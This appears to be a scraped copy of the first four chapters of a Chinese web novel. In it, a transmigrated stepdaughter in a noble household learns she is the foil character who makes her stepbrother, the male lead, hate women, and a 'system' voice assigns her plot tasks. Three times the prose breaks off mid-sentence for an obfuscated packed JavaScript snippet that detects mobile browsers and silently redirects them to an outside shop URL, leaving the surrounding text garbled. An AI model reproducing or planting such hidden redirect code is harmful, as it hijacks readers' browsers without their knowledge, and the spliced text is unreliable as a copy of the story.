《我是限制文男主的继妹》 1. 第 1 章 轩盈高爽,门牖雅致。 重重流水般的青纱幔掀开,分挂于灵芝纹样的帐钩上。帐内的人已起,魏昭正半拥着花绣莲鱼的锦被惺忪怔神。 一夜乱梦,似睡非醒的迷糊间,隐隐约约有人告诉她,她所在的时空存在于一本古早文,具体剧情不甚清楚,唯记得男主是她的继兄。 大树底下好乘凉,绿荫之下自然幽草盛。 若这世界真的是一本书,那她身为男主的继妹,只要谨守本分行事有度,想来无论怎样都不会差。 她如是想着,被乱梦所扰的心安定了不少。 透过镂刻错形几何图的雕花窗,一枝青梅横斜俏然,叶间梅果通碧小巧,甚是招人喜爱。黑白相间的鹊儿穿梭其中,叽叽喳喳悦声清脆。 绿意盎然,生机勃勃,此般鲜活的美景,让她有些恍惚。 这真的是书中世界吗? 丫环白鹤将盛着热水的银盆搁在朱漆贴金的六棱盆架上,声音透着轻快,“前门子的人方才来报,说是三爷的马车已入了城,论光景还有一炷香就能进府。” 崔家有三房人,大房二房在京中,三房一家在京外。 打从得了三爷崔沪调回京中的准信,崔老夫人盛氏是日盼夜盼,算着日子快要临近,接连好几日都派人在城门口守着。 当家老太太重视儿子,魏昭这个继侄女也不敢有丝毫怠慢,却也知越是这个时候,越要把握分寸。 “姑娘这个时辰起来正好,收拾妥当过去时,定不会赶在二姑娘和三姑娘前面。”白鹤说着话,在她腰间系上一块成色极好的绿玉佩。 她是长房继女,二姑娘三姑娘都是二房的姑娘,一个嫡出,一个庶出,但无论嫡庶,她们都姓崔,是崔家正儿八经的姑娘。 若不然她一个继侄女,比亲侄女还要积极,抢了崔家姑娘的先机,免不了被人说是掐尖好强有失分寸。 “今日是崔家几房团聚的日子,我这个外姓人还是莫要招人眼的好。”她将玉佩扯下,递给白鹤。 白鹤知她脾气,默默地将玉佩收起,换上串着绿珠的络子以作点缀。 坐于妆箱前,她随意挑了一支款式寻常的金簪递给白鹤,“旁的不要,只戴这一支就行。” 素日里不论言行举止,还是衣着打扮,她都力求不与崔家姑娘们冲撞,不出彩不招摇,刻意降低自己的存在感。 若不是怕太过素净适得其反,她连眉都不想描。饶是简单添了几笔,轻点了少许唇脂,镜中人已然美绝近妖。 云发丰艳顺滑,桃腮凝雪积玉,水眸潋滟流光,似牡丹含露初绽,华艳中又带着灵秀,惊鸿一瞥便足已动人心魄。 莫说是初见之人,纵是见惯如白鹤,一时都被迷眼。 “姑娘这气色,白里透着红,瞧着比用了桃花粉还好看。”她喃喃着,回过神后问:“可要用些暗粉?” 以往随崔家女出门做客时,魏昭不愿抢风头,常在妆容上做文章。但今日是在崔府,见的是崔家人,若再刻意为之,反倒让人多想。 思及此,她淡淡地道:“就这样吧。” * 一炷香过,主仆二人出门。 芳草已歇的时节,草木葳蕤繁盛。微风徐徐而过,裹挟着草叶的清香,氤氲在空气中,叫人心情愉悦。 百年传世的书香门第,深厚的底蕴处处可见,亭台楼阁尽善尽美,流水石桥雕琢雅韵,所见皆是景。 背水的假山旁,黛衣的少妇垂颈而立,身姿纤丽柔美如弱柳迎风,听到动静后堪堪抬头,眉眼湿润顾盼生辉,恰如带雨的梨花。 正是她娘魏绮罗。 确切的说,是她的姑姑。 姑姑为母,是怜她三岁丧母,八岁丧父,小小年纪失怙失恃,为护她周全长大,以母女的关系带着她嫁人,是想给她重新建立一个家。 魏绮罗的美与她不一样,如果说她是骄阳明媚,那魏绮罗就是掩月朦胧。但不可否认的是,母女俩皆是罕见的好颜色。 不说是阖府上下,就是整个京城,多少人羡慕嫉妒她们。 大周清流世家有数,崔谢王魏打头,崔府这一支是嫡系嫡支,地位最是尊崇。而魏家的魏与她们的魏无关,她父亲在世时不过是安元府下属樊兆县衙的九品巡检。 魏绮罗之所以能嫁进崔家,全都是因为长了一副好相貌。这个好不止是真正意义上的貌美,而是与她继父崔洵的发妻有几分像。 说白了,就是个替身。 好在崔洵是个刻板规矩之人,哪怕是个替身,纵使夫妻关系一板一眼的,但该给魏绮罗的体面一样也不少。 母女俩站在一起,如同一对姐妹花。 府里的下人远远看到,无不在心中感叹她们命好。 “早与你说过,你不必如此小心翼翼。。”魏绮罗打量着她,略显几分愧疚,低眉看见她腰间的络子,叹了一口气,“你不着红也不穿粉,连蓝色都要避讳,只要在这个府里,你成日一身绿,连配个玉佩都如此小心,你是要心疼死我啊!” 美人颦眉,更是楚楚动人。 她知这是假象,仍然为之生怜,“绿色挺好的,瞧着就清新,再说如今我一月里也就回来几日,在魏家我可是想穿什么就穿什么,前天我还让人做了两身新衣,全都是红色,你放心好了,我不会委屈自己的。” 当年她父亲尸骨未寒时,什么远的旁的亲戚都冒出来,虎视眈眈地盯着她家的祖宅和她父亲留下的钱财。 若不是魏绮罗找上崔洵,崔洵替她们做主,她们怕是要被那些人吃的骨头都不剩。 后来她随魏绮罗嫁进崔府时,于众人面前说清楚,言明自己是魏家的血脉,长成定要撑起门楣。 所有人都以为她懂事孝顺,包括魏绮罗。但没有人知道,她是不愿受世族高门的束缚,更想过自己能给自己做主的日子。 及笄之后,她生活的重心就离了崔府。 这一切有她自己争取的因素,更多的是魏绮罗对她的支持。 魏绮罗展眉为笑,轻点她额头,“你呀,惯会哄我开心。你要记着,有我在,你不必看任何人的脸色。” 她两眼一弯,“我知道了。” * 听闲堂内欢声笑语,一派融乐之相。 蝙蝠纹镂雕花窗略开一半,半是遮阳半是赏景。孔雀开屏鎏金三角足的熏炉袅袅生烟,满室飘荡着芝兰幽香。 松鹤同辉的屏风、琳琅错摆的博古架、一水紫檀木的桌椅杌几、香案上供果馃品堆如山、中堂悬挂一幅书门先圣图,左右分别辅以对联。 魏绮罗和魏昭母女俩进去时,二房内宅各主已齐。 二夫人林氏位于老太太盛氏之下说着话,婆媳二人瞧着很是和睦。二姑娘崔明静与三姑娘崔明淑分立于她们两侧,一个着红衣,另一个着蓝衣,仿佛约定俗成一般。 圆脸的小丫环则追着四岁的崔六公子崔砚满屋子跑,跟在后面收拾。 听到有人进来的动静,林氏半睨了过来,笑得倒是端庄得体,不徐不缓地说了一句,“大嫂和昭丫头来了。” 大户人家规矩多,一家人碰个头,也是你有礼我有礼。 婆媳见礼,兄弟姐妹之间也要见礼。 礼毕后,崔晋不知何时抱住魏昭的腿,眼巴巴地仰望着,唤她“四姐姐。” 对于她这个便宜孙女,盛氏谈不上多喜欢,却也未有任何亏待,她的一应份例都比着庶出的崔明淑,还让她与崔家孙辈一道论长幼,按着年纪命府中上下称她一声四姑娘。 “昭丫头今日瞧着气色倒是不错。”盛氏显然心情极好,笑容满面的样子,更是慈眉善目。虽是和以往一样不怎么正眼看魏绮罗,但对她明显热情了些。 她极有心眼地回道:“还是府里住着舒心,吃得好睡得好。” 昨日才回的府,拢共也就吃了两顿饭,睡了一晚而已。真算起来,她夜里可没睡好,之所以让人看着气色好,不过是没用暗粉。 盛氏对她的回答很满意,笑得越发开怀。 “四妹妹既然住得好,何不搬回来住?” 说这话的人是崔明淑。 二房两位姑娘一嫡一庶,她是庶女,生母夏氏,是与二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823651|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷崔涣一同长大的近身丫环,情分非比寻常,在盛氏面前也颇有些脸面。 明着听来像是在劝魏昭回来住,实则是在讽刺魏昭还想攀附崔家不放。 她们之间有恩怨由来已久,原因诸多,但在府中同等待遇是主因。 她仗着自己是崔家真正的姑娘,岂能愿意与魏昭一个继女相提并论,更何况魏昭本身的出身不高。 不想针尖对麦芒,只能装傻。 魏昭装作听不懂的样子,正色道:“我魏家就我这点血脉,我说过要从我这里延续下去,岂能出尔反尔。三姐姐若舍不得我,大不了我日后常回来小住。” “谁舍不……”崔明淑险些脱口而出,猛不丁瞥见盛氏微眯的眼睛,紧急将没出来的话咽了回去,“那四妹妹可要说话算话,记得常回来看看我们。” 这时前门子的下人一路跑来,高喊着三爷已经进府。 盛氏激动不已,哪里还顾得上府里的丫头们,脖子伸得老长,一双眼睛恨不得跳出门外,无比期待地盯着。 一盏茶的工夫,三夫人杨氏和女儿崔明意进门。 杨氏英气有余娇美不足,五官之中最为出彩的是眼睛,很是明亮。其女崔明意今年八岁,或许是长在京外的缘故,瞧着走路都有几分跳脱,尤为的灵动俏皮。 盛氏先见到的是她们,左看右看没看到日思夜想的小儿子,说不失望是假的,却也是高兴的,一把将崔明意搂住,心肝宝地唤着。 崔明意从她怀中得到自由后,命人送上自己为姐妹们准备的礼物。 她满嘴的夸赞,“一别五年,我家云娘都成大姑娘了,还如此懂事,好,好,好,你们姐妹骨头亲,祖母很是欢喜。” 听到她这话,杨氏嘴角似乎抽搐了一下。 魏昭离得远些,反倒能注意到她的微妙表情,再看兴致勃勃地给人分礼物的崔明意,心下有些猜测。 雕工精美的锦盒,入手不怎么轻,却也不太重。 崔明意一脸天真,笑吟吟地看着她们,“二姐姐,三姐姐,四姐姐,我给你们准备的是南州的特产,你们快打开看看。” 随着锦盒被打开,屋子里响彻崔明淑的尖叫声。崔明静好些,虽未尖叫,却也是大惊失色,和她一样下意识就将锦盒扔了出去。 两条通体披细鳞的黄铜色四脚蛇从里面爬出来,吓得所有人都变了脸。 “这……这是什么东西?”林氏声音都有些不对,倒也不至于失态,忙给下人递了眼色,即有下人不得不大着胆子去捉它们。 “你这孩子,不是说给姐姐们准备的是南州蓝宝石制成的首饰吗?怎地成了这东西?”杨氏看似在训斥崔明意,实则有意提醒。 “我想和姐姐们开个玩笑,也不成想会吓着她们。”崔明意一脸不解的模样,俨然一种好心没被人领情的无辜状,忽地看向魏昭,“四姐姐,你不害怕吗?” 魏昭也打开过锦盒,却及时合上。 “我被吓傻了,连害怕都忘了。” 人人都害怕,没道理她例外,既然不想打人眼,自然要随大流。 那两条石龙子极其滑溜,下人们追着围着,一条被抓住,另一条在逃,逃窜之处引得骚动连连。 “快,别让它跑出去!” 有人惊呼时,眼瞅着那漏网之蛇已爬出门外,很快被两根清瘦如玉却蕴藏韧劲的手指夹着,晃悠悠地挣脱不得。 魏昭看向那人,呼吸莫名一紧。 这就是男主! 崔家的大公子,她的继兄崔绩。 堆雪织金的锦服,襟领与袖口处刺绣联珠纹,腰间白玉缠枝带钩质地通透,尽显如玉君子的无双风姿,堪比月华落松间的一捧白雪,清冷而难掩璀璨。 若待细瞧了去,方才感知松雪之下的收敛,正如名剑藏锋隐芒,掩盖曾经耀眼的赫赫威风,深埋星辰于广袤宇宙中。 蓦地,一道突兀冰冷的机械声响起。 【女配剧情开启。女配:魏昭 人设:胸大无脑,貌美却愚蠢】 魏昭:“……” 这是什么情况! 2. 第 2 章 不等她细琢磨,分清是不是幻听时,倏地头晕目眩,像是脑波突然生变。 刹那之间,书里的剧情朝她涌来。 身为古早文的男主,出身高贵是其一。 崔绩不仅是崔家嫡长孙,还是华阳大长公主的亲外孙,母亲是永嘉郡主,舅父是温国公。他长相俊美为人清冷淡漠,天赋异禀能力卓绝,还有一个很古早味的设定,那就是厌女。 按照书里的套路,女主是唯一一个不让男主讨厌的女人,也只有女主能入他的眼,获得他的另眼相看。 根据书中的走向,男主要先厌女,再遇女主,女主会打破他所有的原则,治好他的厌女症。他对女主是生理性的喜欢,除了女主谁都不行,做尽不可描述之事。 所以这是一本限制级的甜宠文。 物极必反,一切的起源都是因为他先有厌女症,再无下线地宠妻。 接收完这些信息后,魏昭整个人都不好了,因为她就是书中导致男主厌女的罪魁祸首! 书里的她倾慕男主,为了接近得到男主花样百出,不断地作死,让男主忍无可忍,对她生理性的厌恶,从而引发厌女症。 也就是说,虽然她是男主的继妹,但男主的光环照不到她,她不仅半点光都沾不到,反而还给男主抹黑。 这不是玩她吗? 她低垂的视线中不见裙摆和脚尖,确实是胸大,这个她不得不承认,可无脑两个字是不是有点污辱人? 还有那个貌美,也是事实,只是她和愚蠢应该不沾边吧。 正思忖着,崔绩已经迈过门槛,与他一道进来的,还有崔家三兄弟。 崔家人都有一副好皮相,男子也不例外。老大崔洵气质儒雅,可惜太过严肃,给人以迂腐之相。老二崔涣长相略逊些,却自有一股风流才子的潇洒之气。 老三崔沪最年轻,俊朗而阳光,一看就是心思澄明之人。他瞧着眼下这情形,便知是自己的女儿捣的乱。 “我就知道这丫头没憋着什么好!难怪这一路行来,神神秘秘的,原来是背着我们偷偷藏了几条石龙子进京。” 他扬了扬手,作势要教训的样子,“你看看你这皮猴子做的好事,把你几个姐姐吓成什么模样,若是把你祖母也吓着了,我岂能饶你!” 崔明意是个精怪的,当下躲到盛氏身后,“祖母,这石龙子也算得上是南州的特产,我想着你们定然没有见过,特意带来给你们看的。您可不知道,这一路上我照料它们,有多费心费力,哪成想竟然会吓着几位姐姐,是云娘不好。” 小儿子大孙子,老太太的命根子。 三个儿子中,盛氏最疼的就是崔沪,因为爱屋及乌,哪怕小孙女没养在她膝下,也改变不了她偏疼的心。 “云娘也是好意,她还是个孩子,一门心思想去,许多事便顾不上。这石龙子我知道,性情温顺无毒,听说还有人专门驯养为宠,哪里能吓着人。” 老太太为帮小孙女,可谓是睁着眼睛说瞎话,已然忘了先前自己吓得两眼发黑,心口突突直跳的情形。 “祖母真是见多识广,在南州就有不少人养它们,有当药材的,有当玩宠的。”崔明意卖着乖,从她身后出来,来到崔家姐妹和魏昭面前。 “二姐姐,三姐姐,四姐姐,是我不好,我还以为你们定然是喜欢的,没想到你们会被吓到。四姐姐,你没有真的被吓傻吧?” 魏绮罗立马接话,“云娘不必担心,你四姐姐缓缓就好了。” 魏昭还拿着那锦盒,朝崔明意笑了笑。 崔明意被晃了眼,惊叹不已,“四姐姐,你长得真好看。你这脸像剥了壳的鲜荔枝,白白嫩嫩水润润的,看上很甜的样子,我真想吃一口。” 童言无忌,却也是实话。 盛氏大笑起来,嗔她是个贪嘴的。 她很是审时度势,趁此时机赶紧送上自己真正准备的礼物,即杨氏口中蓝宝石制成的簪子。 虽同为簪子,却有所区别。款式不同自是不必说,宝石的大小一样,但成色有着不太明显的差别。 崔明静的最好,崔明淑和魏昭的大差不差。这样的待遇让崔明淑不满,不由自主挂了相,不等她说什么,便被林氏一个凌厉的眼神给堵了回去。 所有人似乎都忘了之前的慌乱,包括那几条石龙子。 魏昭将那锦盒交给身后的白鹤,半点也不似自称的快被吓傻之态。 没有人注意她这个举动,除了崔绩,那清冷的视线划过她从始至终都极稳,没有一丝颤抖的手。 当然也无人注意到崔绩并没有将自己捉到的石龙子交给下人,而是揣进袖子里。 只有她! 她不期然与之四目相对,便被他沁雪般的目光所摄,下意识垂着眼皮。 世人皆以为男主是皎朗明月,却不知他实则是个白皮黑心的,之前随其舅父戍边时,有一煞名为白无常。 月下幽冥霜满天,雪落人间血成河,形容的就是他上阵杀敌时的气质风华与绝决手段。 边关远在千里之外,这些传言被有心之人刻意隐瞒,未能传到京中,是以安远府无人知他白无常之名。 被这样一个人厌恶会是什么下场? 魏昭不必细思,也知落不了什么好。 一想到书中有关自己的设定,浓浓无力感涌上她心头。 原本还想着她是男主的继妹,就算不主动抱大腿也能得些实惠,谁能想到自己会是那样一个角色。 书中的她究竟有多讨厌,才会让男主因为她而厌恶所有的姑娘。 她胡思乱想之时,盛氏已经拉过崔沪,先是左右上下端详着,口中不停喃喃着“黑了瘦了吃苦了”之类的话。 一家人团聚,说不完的事。 林氏吩咐下去,丫环婆子接连而入,送来茶水点心。 各式京中有名的糕点中,有一样造型为兔子的分外打眼。 “云娘属兔,这兔子形的白玉团子是我特意让厨房准备的,想着小孩子家家的,必是喜欢这样的玩意儿。” 林氏含着笑,示意崔明意尝尝。 崔明意到底是孩子心性,当真一眼就被吸引,闻言立马捏起一个往嘴里送。 众人围着三房一家子凑趣,有说有笑。 忽然那侍候崔砚的小丫环惊呼出声,“六公子,你什么时候拿的点心?姨娘吩咐过你不能吃这些,你快吐出来 !” 她越是催,越是急,崔砚就越不舍得吐出来。 所有人看过来时,他已经被噎住了,正在翻白眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823652|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛氏惊得站了起来,高声命人拍打他的后背,又让人去抠他的嗓子眼。 一时兵荒马乱,林氏已派人去请大夫。 崔砚是二房唯一的男丁,很得二爷崔涣的看重,她身为嫡母也不得不重视。 崔涣已经急得破了声,厉言质问那小丫环,“你是怎么照看六公子的?” 小丫环瑟瑟发抖,跪在地上,一个字也说不出来。 “老夫人,二爷……六公子他……他没气了!”给崔砚抠嗓子眼的下人结结巴巴,已是面无人色。 “让我来!”崔沪将人扯开,手指往小侄子的口中伸去。 原先那拍背的人也被人替代,替代的人是崔绩。 叔侄二人忙活了一阵,崔沪擦了擦额头的汗,朝崔绩摇头。 盛氏悲恸不已,痛哭出声。 下人们也跟着哭起来,一室的哀伤,喜相逢的日子顿时蒙上阴影。 崔砚的生母沈姨娘闻讯而来,惊见自己的儿子已没了气息,当场晕死过去。 魏昭攥着的拳头紧了又松,松了又紧,不太愿意接受这样的事实。 崔砚是她看着出生看着长大的,平日里一旦遇见,总爱缠着她,软糯糯地唤她“四姐姐。” 她以为崔家人都在,施救又及时,事情不会太糟糕,没想到…… 置身事外确实能少很多是非,但人命关天! “能不能让我试试?” 众人看着她,以为她在说胡话。 唯独崔绩,仅是用黑寒的眼睛看了她一眼,便将位置让开,“你来。” 声音之好听,如金玉相击。 她不再犹豫,直接把崔砚放倒在地,头歪向左侧,骑跨后将自己的双手叠放,以掌根不停快速大力地按压脐下脐下和剑突中点。 “六弟已经走了,四妹妹这是做什么?”崔明淑白着脸,像看怪物一样地看着她。“祖母,她是想让六弟死得都不安生,您……” “闭嘴!” 崔沪一声喝,崔明淑脸更白了,倒是不敢再说什么。 时辰一点点过去,屋子里明明人不少,却静得吓人。 约摸快一盏茶的工夫,原本已没了气息的崔砚突然有了动静,喉咙发出声响,魏昭立马伸手清除他口中呕出来的东西。 “活了,活了,真是神了!”有下人惊呼出声。 随着崔砚睁开眼睛,魏昭终于放下心来,她顾不得喘口气,赶紧给被提溜着进来的张大夫让位。 张大夫是府里常进出的人,来不及细问,立马给崔砚诊脉,然后告知人已无碍,开了一副调养压惊的方子。 大悲又大喜,气氛终于有所缓和。 沈姨娘被下人掐人中醒来,一听到自己的儿子活了,一把抱住死而复生的崔砚,哭得惊天动地。 盛氏赶紧命人将他们送回去,严令侍候的人都紧着心。 一场荒乱结束,所有人都长长松了一口气。 “四姐姐,你连死人都能救活,你也太厉害了!”崔明意冲过来,无比崇拜兴奋地看着她。 她不想出风头,更不想这个时候应付一些人的问话,遂适时扶着自己头,作虚弱状朝魏绮罗倒去。 知女莫若母,魏绮罗一把将她扶住。 3. 第 3 章 * 装病这种事,她是驾轻就熟。 这些年她为了避免抢崔家女的风头,和她们保持一定的距离,没少拒绝她们并非出自真心的邀约。 比如说出去玩,比如说一起去参加什么诗会雅集。而最好用的借口,无非就是身子不爽利。 但装晕倒,还是头一回。 或许是她平日里称身体不适太多次,眼下犯晕倒是无人怀疑,甚至还成了崔明淑趁机贬低她的由头。 “四妹妹这身子还真是弱,时不时的生病,怕是损了底子,这般动不动就倒的样子,如何能撑起门楣,为魏家开枝散叶。” “……” 她身体壮得像头牛! 当然这话她没办法说,只能交给魏绮罗。 魏绮罗未语先流泪,“惠娘,你这是在咒我家知之,咒我们魏家吗?” 她本就是清露染梨花的容貌,秀美微微一蹙,便显露可怜动人之姿,也更像已故的永嘉郡主。 永嘉郡主打小身子骨弱,是娘胎里带出来的弱症,尽管看遍天下名医,用尽世间最顶级的草药,还是成日病怏怏。 宫里的太医也好,民间的圣手也罢,皆说她若想保命,切记不可生养。 当初崔洵执意求娶她时,盛氏是不同意的。后来虽说成了亲,但她并未过门,而是继续住在公主府,直到难产去世。 那时京中流言颇多,尽是指责崔洵色令智昏,明知她身子骨不行,还让她怀上身孕,连累崔家风评有损。 对于那么个身份尊贵,说不得恼不得怨不得,还令自己儿子清名蒙尘的儿媳,盛氏如何能喜欢? 正主尚且不得心,何况是个替身? 是以魏绮罗眼下之态,让盛氏面有不虞,下意识去看长子的脸色。 崔洵刻板严肃依旧,也未多看妻子,只是皱起眉头,用谴责的目光睨向弟弟崔涣。 崔涣因唯一的儿子被魏昭所救,心里正是感激之时,此时难免觉得平日里惯会讨人喜欢的庶女不懂事,接收到兄长的眼神,不由惭愧生怒。 “惠娘,你还不快向你大伯娘和你四妹妹道歉。” 崔明淑挂不住脸,又羞又恼,倔强着不低头。 魏绮罗幽幽叹了一口气,“二弟,你别吓着孩子。孩子不懂事,我不怪她,就是可怜我的知之,好心费力反倒招来恶言恶语。” 魏昭救了崔砚的命是真,不说是崔涣,就是盛氏再不喜魏绮罗,也会领这份情。 “惠娘,你是姐姐,当体恤爱护妹妹。等昭丫头醒了之后,你记着亲口当面给她赔礼道歉。” 这也算是给了崔明淑缓冲的余地。 崔明淑胀红着脸,咬着唇应下。 魏绮罗还想说什么,猛不丁掌心被挠了一下,便将到嘴边的话给咽了回去。 她没有得理不饶人,在盛氏看来是顾全大局,因而有些满意,破天荒的说了几句和软的话,让她以魏昭的身体为重,还让张大夫跟过去看诊。 魏昭闭着眼睛,努力地装着死。 也不知是不是她的错觉,总感觉自己像是被什么东西盯上了,后背阵阵发凉。 高门内宅中龌龊多,明争暗斗的不胜枚举,但凡是有些眉眼高低的人,若是事不关己都知道看破不说破,张大夫也不例外。 他左手换右手,右手换左手,仔仔细细地探过脉后,仅是依着气血虚弱的症状开了一副方子。 “听说六公子是四姑娘救下的,那手法颇为特别,老夫很是好奇。等四姑娘养好身体之后,再上门请教。” 听到张大夫的话,魏昭心下叹息。 真是怕什么来什么。 人怕出名猪怕壮,她这些年最怕的就是引人注意。今日算是出了风头,恐怕注意到她的人不止张大夫。 张大夫被送走后,她慢慢睁开眼睛,对上魏绮罗温润含笑的眼睛。 “你从哪里学的那救人的法子?以前应是没有用过,你最怕招人眼,方才迫不得已出手,是否后悔?” “救人一命,哪有什么后悔,只是劳烦娘了,又要替我遮掩。”她偎过去,将脸贴在魏绮罗的手掌上,“偶尔看到有人这么做过,照葫芦画瓢而已,也没想到真的能成。” 魏绮罗温柔地抚摸着她的脸,爱怜的目光一寸寸的移动,似是在描绘她的眉眼。 “你越长越像你娘了。自打你爹去世后,你大病一场,醒来后就像是变了一个人,变得又懂事又善忍,若是你爹娘泉下有知,不知该多心疼。” 她对亲娘没有印象,对亲爹也只亲眼见过遗容,因为她是一个穿越者。 原主大病一场时已经魂魄归天,醒来后的人是她。她不是变了一个人,而是她借了原主的尸体。 如若不是她有原主的记忆,恐怕很难瞒得过魏绮罗。 魏绮罗心疼她,一部分原因就是她和原主性格不一样,以为她是经历变故之后一改调皮顽劣的性子,被迫一夜之间长大。 长恨春归无觅处,这世间除了她,再无人知原主已死。 她的身体是温热的,她的感受也在起伏,这一切的一切真实存在,有血有肉有喜有悲,怎么就是书里的纸片人? * 继父也是父,继女病倒,崔洵不可能不来看望。 他是谨守礼节之人,一言一行都是骨子里透出来的克己复礼。仅是站在院子里,向魏绮罗询问情况。 魏绮罗与他夫妻八载,私下相处时有问有答,像是上官与下属。 例行过问之后,他礼数尽到,便再无话。 初夏和暖的风轻拂着,美好而惬意,他们一个似笔直刻画而成的云杉,另一个长在树下的娇弱兰草。 美人娇态毕现弱质纤纤,男人却依旧有板有眼无动于衷,光是冷眼旁观,魏昭都觉得他们很别扭。 夫妻不像夫妻,伙伴不像伙伴,像是被硬生生凑到一起的两个人。 崔洵为人之刻板,简直令人发指。 他立下的规矩是每月逢初一十五,他们继父母子女雷打不动一起吃晚饭,以前是只有她一个子女,后来加上崔绩。 至于夫妻生活,他也有严格的控制,一月两次不多不少,上旬一回下旬一回,不曾间断,也不曾改变。 唯有一点好,就是没有妾室通房。 他走后,魏绮罗在原主站了有一会儿。 有那么一瞬间,魏昭很心疼她。 她多年来没有孩子,不是不想生,而是因为崔洵只想要崔绩一个孩子,不让她生。她越是无所谓,魏昭就越难过。 不知过了多久,有脚步声渐近。 积石如玉,列松如翠,正是崔绩。 崔绩似有所感般,往这边看了一眼。 魏昭心头一跳,赶紧爬上床继续躺着,屏着气息听他和魏绮罗说话。 他九岁那年随舅父温国公戍边,崔洵续娶时他没有回来,直到三年前才归京。府里的下人都说魏绮罗长得有几分像永嘉郡主,永嘉郡主又死得那么早,身为儿子的他定然对继母有些特别。 但事实相反,他们继母子之间的关系极淡。 论年纪,魏绮罗不过大他八岁,从外面上来看,也委实不像一对母子。他称呼魏绮罗为夫人,魏绮罗则唤他大公子。 客气而生分,比陌生人好不了多少。 一听他是来找魏昭的,魏绮罗没有立马将人请进去,而是说要先看人有没有醒。 绕过屏风,见侄女已经坐起,嗔了一眼。 “看你这生龙活虎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823653|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子,倒是小时候有些像。” 不说小时候,就是现在的魏昭也是十分的精力旺盛。 墨发如瀑,粉面桃腮艳光照人,一看就是气血充足之人。这般毫无病态的模样,也亏得张大夫的医者包容心,没有戳破她的谎言,还违心地装模作样给她开了补气血的方子。 魏绮罗近到床边,柔声道:“你都听到了吧,大公子是来找你的。他不是一般人,应是为了你救六公子的事,你仔细思量好,可要见他?” 他们是继兄妹,哪怕是关系疏远,一月里总有几回相见之时,躲得了初一躲不过十五,跑得了和尚跑不了庙。 这般思量一番后,她轻轻点头,“见。” 魏绮罗向来依她,也知她是个心里有数的,当下出去将人请进来。 这三年来,如果认真细算,他们见面的次数并不多。 她记得他们初见时的情形,彼此拢共就说了几个字。 “四妹妹。” “兄长。” 除去礼数上的招呼,再无其它交流。 此后每次相见,也皆是如此。 而这一次,应是例外。 若是搁在从前,她倒也没甚好担心的,而今她已知他们在书里的瓜葛,难免有些纠结,怕招他生厌,又本该让他讨厌,实在是矛盾。 果然不出她所料,他来找她为的也是她先前那救人的手法。 她给的说辞和魏绮罗的一致。 很显然,他不好打发。 “不知四妹妹是在何处遇到那人?那人可有什么特征?” “年幼时在外面胡闹时偶尔碰到的,若非今日情急,我怕是已将此事给忘了。兄长如今问起,我想破头也想不起究竟是在哪里见到那人,只依稀记得是个年长的老者,也不知是不是还活着。” 这说法是她打好的腹稿。 如此一来,便是有心之人去找,也无迹可寻。 绣着猫爬树的屏风映出人影,男人的身形极其优越,端逸如修竹,停立如玉树,哪怕隔着绢纱所见模糊,却不难想象他的亭兰之姿。 那令人无法忽视的目光不知是在看屏风上的绣图,还是透过屏风看她。 她无端紧张起来,从未有过的忐忑。 突然她看到一条四脚蛇从屏风的缝隙下钻出来,滑溜如泥鳅般地爬近,心里明白这应该就是崔绩收起来的那条石龙子,又是无语又是憋屈。 她到底做什么了?怎么就惹来男主如此厌恶,居然放蛇吓她? 难道这就是工具人女配的待遇,不管她本身是什么样的人,只能遵循书里的剧情,平白无故地就能让人讨厌? 崔绩低眉静立,如神子安详默然。 他眸色似止水,其上隐约覆着冰霜,谁也不知他在想什么,约摸过了半刻钟的样子,他冰玉相击的声音,让人听不出半点情绪,“今日打扰了,四妹妹好生歇息。” 魏昭闻言,肩膀一松,对被自己捉在手里的石龙子作了一个噤声的口型。 屏风那边的人才走了两步又回头,声音还是那么的好听,“忘了告诉四妹妹,晚上有给三叔的接风宴,你若是歇息之后有所好转,不妨去凑个热闹。” 去还是不去呢? 她有些犹豫时,脑子里再次响起冰冷的机械声。 【触发剧情任务:请宿主给男主下腹泻之药,限时三日。动机:想把男主留下。】 魏昭:“……” 根据剧情描述,女配此举倒也符合逻辑。 男主是崔家大公子不假,在府里也有自己的院子,可从小到却常住公主府,偶尔才会歇在这里。而女配给他下泻药,想让他拉肚子走不动道留宿下来,听起来也算是合理。 但她不是这样的人! 4. 第 4 章 * 暮色将合之时,府里所有的灯笼全部点上。 雕漆为架,镶嵌绢纱,绣以金线图案,或是山水图,或是花鸟图,极尽华美富丽,暖光透过纱绢照亮周围,灯光柔和而温馨。 灯架的烛火也都亮着,应是灯火尽够,四面八方的光芒冲撞着,哪怕人头攒动,却无暗影重叠。 